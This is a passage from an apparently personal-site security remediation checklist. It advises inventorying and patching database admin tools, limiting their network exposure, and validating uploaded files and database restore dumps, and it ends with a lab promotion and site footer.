    Database administration tools are often deployed without central oversight—different teams might have their own instances. Create a comprehensive inventory of all database admin tools (pgAdmin4, phpPgAdmin, Adminer, DBeaver, etc.) across all environments. For each tool, document its version, network exposure (internet-facing? internal-only? VPN-only?), and which databases it can access. Ensure network access is restricted to trusted IPs only—use firewall rules, security groups, or network policies. Verify all instances are running current, patched versions. If you find unpatched instances, prioritize them based on exposure and the sensitivity of data they can access. Remember that a single shared admin tool managing multiple databases creates a single point of failure—if that tool is compromised, all databases it manages are at risk.

  3. 6

    Implement input validation for file operations

    [Infra][Engineering]

    Owner: Engineering • Add strict validation for all file upload and restore operations. Treat all user-provided files as untrusted.

    The fundamental security principle here is "never trust user input." All files uploaded by users or received from external sources should be treated as potentially malicious until proven otherwise. Implement file type validation (check file extensions and MIME types, but don't rely on them alone—they can be spoofed). Implement file size limits to prevent denial of service attacks. Scan files for malicious content before processing. For document processing, consider using a sandboxed environment that limits what the parser can access. For database restores, validate dump file integrity using checksums, scan for command injection patterns, and implement approval workflows for restores from external sources. The goal is defense in depth—multiple layers of validation so that if one layer fails, others catch the attack. This requires engineering time and testing, but it's essential for long-term security.

PRACTICE THESE ATTACKS

Beat CVE-2025-66516 in 5 minutes. Work through targeted labs simulating both offensive and defensive sides:

📚 SOURCES

Open to AI-Focused Roles

AI Sales • AI Strategy • AI Success • Creative Tech • Toronto / Remote

Let's connect →
Terms of ServiceLicense AgreementPrivacy Policy
Copyright © 2026 JMFG. All rights reserved.